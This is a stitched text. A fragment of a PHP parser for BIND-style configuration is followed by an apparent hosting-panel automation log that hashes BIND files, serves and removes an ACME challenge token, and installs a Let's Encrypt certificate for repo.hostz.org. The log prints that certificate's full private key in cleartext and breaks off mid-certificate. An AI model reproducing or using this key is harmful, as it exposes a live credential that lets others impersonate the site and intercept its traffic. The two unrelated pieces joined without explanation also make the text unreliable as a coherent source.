	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-18 14:08:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp639469; rm /tmp/pkp639469'

2026-02-18 14:08:39: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-23 06:00:03: Establishing a connection
2026-02-23 06:00:04: Establishing a connection
2026-02-23 06:00:06: 

PUT: /tmp/pkp705980

#!/bin/bash
if [ -d "/var/www/hostz_repo/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-23 06:00:07: 

chmod 755 /tmp/pkp705980; /tmp/pkp705980; rm /tmp/pkp705980

2026-02-23 06:00:07: 


1


2026-02-23 06:00:08: Establishing a connection
2026-02-23 06:00:10: 

PUT: /tmp/pkp704231

#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"
cat > hDPzovSB8QKjxjLZ8NZUerFaLH_QP-WXH1Dero4t-FI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
hDPzovSB8QKjxjLZ8NZUerFaLH_QP-WXH1Dero4t-FI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 hDPzovSB8QKjxjLZ8NZUerFaLH_QP-WXH1Dero4t-FI


2026-02-23 06:00:11: 

chmod 755 /tmp/pkp704231; /tmp/pkp704231; rm /tmp/pkp704231

2026-02-23 06:00:11: 




2026-02-23 06:00:15: Establishing a connection
2026-02-23 06:00:16: 

PUT: /tmp/pkp747810

#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"
rm hDPzovSB8QKjxjLZ8NZUerFaLH_QP-WXH1Dero4t-FI


2026-02-23 06:00:17: 

chmod 755 /tmp/pkp747810; /tmp/pkp747810; rm /tmp/pkp747810

2026-02-23 06:00:18: 




2026-02-23 06:00:18: Establishing a connection
2026-02-23 06:00:19: 

PUT: /tmp/pkp184396

#!/bin/bash
temp_file=$(mktemp)
TARGET=39a67d98dbcb59994bb5bd629687cb8e.crt

cat > $temp_file <<'endmsg'
7d:24:65:4b:b8:d3:e4:23:2a:31:97:91:0b:6a:b4:1e

-----BEGIN CERTIFICATE-----
MIIE7DCCA9SgAwIBAgISBt16JxIlSd81zOjB/OCZCEUWMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjIzMDUwMTQ0WhcNMjYwNTI0MDUwMTQzWjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJ+zB9GuBQ2LA3PaPrjxSd1bcQzK60jQbmNw5ntgQ2ct87LcarAq+VDDsJK4RxVw
Ak2dxd0yIg6+dPzOoBLQLCBDolruf1miVaX9NOuDkPKNiPO4nABZJTPEQCrAzYtG
Y/ovaAaArhgADnL3ZxQsjE6w/0AhWWzTRc29oF9RDPCUSzlVjG36Sj1OylYFsAlZ
hu3wLpHqnAJ9tH+znQyntNEIaaCb0ik04NSn01/djO7DHlX2NVrkLFk1g2GIcjdH
chKuMKcFhaZX4WzD9ORE8YrGzBOXYgWDMgM/YHeCBJVoQCcFV044QLR/k4C0jMPf
5xO81RNz/LIZ4x1W1t0pSmkCAwEAAaOCAhIwggIOMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBThc72h
Ud/z5Nn3WXUYwsnXu8bJJTAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDnJlcG8uaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
MjMuY3JsMIIBAgYKKwYBBAHWeQIEAgSB8wSB8ADuAHUAlpdkv1VYl633Q4doNwhC
d+nwOtX2pPM2bkakPw/KqcYAAAGciRWEagAABAMARjBEAiB3iBEhvz25wWrLGL3J
RRIhTfWhJgazQ7ifvZjvi3DtDQIgNPHJ3YxBLoAlVVwpRECc9Sj6xiEv/qDSyroj
a91E+3IAdQDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj16TGzI8uVBAAAAZyJFYT6
AAAEAwBGMEQCIEFiQNt+XjoWVTPanICWOJTHdLKNOidVv6JDWlQDW+7IAiAYPP3x
QVrZyah+s9BhjzsRu2RcyCIgDPYi34stFpdItjANBgkqhkiG9w0BAQsFAAOCAQEA
W847ZojLILxTUzVjsJAAKHSh95LLbCgXXZ+raQ1he1bN4f7fjzgI2r++6R45OLok
/fghvjOuicGMp5xP41OrQuE0OwZb90t4SYnfY+Y8+Un4+jMSS0dmEUm4F2UmOCs2
ONBepka0uzmwXRCzYNahO1GsMINmFwWhw7Jew3QCQxdZ3uXEL+tcXrlSw9bCep/y
oK6UWaIm3YlNl+BhuA+0v40KmUbLewSFh8fBzCNTN0xVolQkWbDcHySS4HQec5Nb
jQ5GVywMM863b6KLDkDK001Hdc8icMX9vNPZhVGHdKPkXqAS+6slV8PIKVNfioFy
kaurIYjotuAhePLkWswojA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCfswfRrgUNiwNz
2j648UndW3EMyutI0G5jcOZ7YENnLfOy3GqwKvlQw7CSuEcVcAJNncXdMiIOvnT8
zqAS0CwgQ6Ja7n9ZolWl/TTrg5DyjYjzuJwAWSUzxEAqwM2LRmP6L2gGgK4YAA5y
92cULIxOsP9AIVls00XNvaBfUQzwlEs5VYxt+ko9TspWBbAJWYbt8C6R6pwCfbR/
s50Mp7TRCGmgm9IpNODUp9Nf3Yzuwx5V9jVa5CxZNYNhiHI3R3ISrjCnBYWmV+Fs
w/TkRPGKxswTl2IFgzIDP2B3ggSVaEAnBVdOOEC0f5OAtIzD3+cTvNUTc/yyGeMd
VtbdKUppAgMBAAECggEAAoVWccJf9QtFNi5zQAMbCeH4Il4Poboci/hLwxXNapMI
nkGpc3dyMQqtvlsnUBjRCH2dknTIodfyy8zNLQ7ZK3c12F6cZwNPe8vH6pHMl2+R
gltfJwhBNJR7+NDLTdACIwBdkYC1fs59a+Yo2+IqItHbbZ05JqUdHHbKUcbbP+7o
6qo99DLwXv+ys2DF3iS3g1my5pEcvcfI0WgOIPIvFwMvq855Ym6BtCFX4aDecStC
etzjlJt6RyKX4/0mVZVPUKlwVL6svlOtdGppcG3PYt8UddF0bP/APTG6jpeDssX9
/zgfqfo55uJBiXfhXXtLXuKXAFdUlUB+RAyySy1+aQKBgQDcrb+3UO212UZOXDiM
NLNaBwBMpWhGBArfSB2gD6O8mssNq9q3dD/c3SgWUABDpR9HwCJgkeTN7+jV33qZ
RfSqbl+7DnE5onuChSQm6iLTSmQOtehWR02gDb1PgR/wROGL43yGB4iJbqX5BK0r
AmtvumtSdzFAHXMKVWygXcewrQKBgQC5QqsVtz6saPcczr/XA6Vk74u4x4Khfx9p
5Rao+XlCB+VXQY40GFcZ1VZoztfyykVFS1+pWzvHLw3Q3/TGE+6013fpPUOghewD
0MRXW7IQOZa/nkrjC/4UYqWjgTEiOZa46cymsAJGR2tg5NmEzkiUApexpTYC1vPt
T0lG/CesLQKBgGk6xQfSJHgpknf9S823t6p/WioyWcXBWbndNptDue1O1vK+9z2x
xl44a0wwe9/F1mOtf/cSustk0l9iAKEkFaZLmYSmP2GfVEwJ1xJjZZXhjFLjdVXn
DGH9Cz/lL+ivv+mn4ZI792SpiaV0EGtI7RhLCbA6PBb5tAjCcVkLPxTFAoGBAJb1
BieJy539Ye6tYZC4vdrDftywZXdm+Jf3PkGuFuqBOJWjK1azxrWcKu74LOr/evZ9
9pMvbkRdySo8c127/DSLpn/9lc+FkM2DHZn5c9zYsEevmmHr8bt2rnXO3dR/jJtc
l4/zt8bAh3TKxZv74xQIEMeGUb56nQTwKEuZSFJ5AoGAB7KXaj3TotoO5CB8z4ZH
6cl7by8WKSMNtHeRYLTH2dGFmstAs8vPnXkm0Lsu0BqPcvmfvfmixgoSLBxkwGau
fBv6Xnca7uZvVcH/szwZZCld8udxnt1TbzNWbcr3scRc0ugh0PfjGGsDV9gULfSX
xtUZsBps1PaylFXHhd9ShXM=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
